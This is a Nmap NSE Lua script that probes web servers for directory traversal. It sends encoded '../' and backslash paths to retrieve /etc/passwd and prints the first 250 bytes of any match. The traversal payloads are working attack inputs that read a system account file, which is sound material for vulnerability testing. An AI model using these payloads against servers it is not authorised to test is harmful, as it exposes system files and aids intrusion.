id = "HTTP directory traversal passwd probe"
description = [[
Checks if a web server is vulnerable to directory traversal by attempting to
retrieve /etc/passwd.
]]

-- 07/20/2007:
--   * Used Thomas Buchanan's HTTPAuth script as a starting point
--   * Applied some great suggestions from Brandon Enright, thanks a lot man!
--
-- 01/31/2008:
--   * Rewritten to use Sven Klemm's excellent HTTP library and to do some much
--     needed cleaning up

author = "Kris Katterjohn <katterjohn@gmail.com>"

license = "Same as Nmap--See http://nmap.org/book/man-legal.html"

categories = {"intrusive", "vuln"}

require "shortport"
require "http"

--- Validates the HTTP response code and checks for a valid passwd format
--- in the body
--@param response The HTTP response from the server
--@return The body of the HTTP response
local validate = function(response)
	if not response.status then
		return nil
	end

	if response.status ~= 200 then
		return nil
	end

	if not response.body:match("^[^:]+:[^:]*:[0-9]+:[0-9]+:") then
		return nil
	end

	return response.body
end

--- Transforms a string with ".", "/" and "\" converted to their URL-formatted
--- hex equivalents
--@param str String to hexify
--@return Transformed string
local hexify = function(str)
	local ret
	ret = str:gsub("%.", "%%2E")
	ret = ret:gsub("/", "%%2F")
	ret = ret:gsub("\\", "%%5C")
	return ret
end

--- Truncates the passwd file
--@param passwd passwd file
--@return Truncated passwd file and truncated length
local truncatePasswd = function(passwd)
	local len = 250
	return passwd:sub(1, len), len
end

--- Formats output
--@param passwd passwd file
--@param dir Formatted request which elicited the good reponse
--@return String description for output
local output = function(passwd, dir)
	local trunc, len = truncatePasswd(passwd)
	local out = ""
	out = out .. "Found with \"" .. dir .. "\"\n"
	out = out .. "Printing first " .. len .. " bytes:\n"
	out = out .. trunc
	return out
end

portrule = shortport.port_or_service({80, 443, 8080}, {"http", "https"})

action = function(host, port)
	local dirs = {
		"//etc/passwd",
		string.rep("../", 10) .. "etc/passwd",
		"." .. string.rep("../", 10) .. "etc/passwd",
		string.rep("..\\/", 10) .. "etc\\/passwd",
		string.rep("..\\", 10) .. "etc\\passwd"
	}

	for _, dir in ipairs(dirs) do
		local response = http.get(host, port, hexify(dir))

		if validate(response) then
			return output(response.body, dir)
		end
	end

	return
end

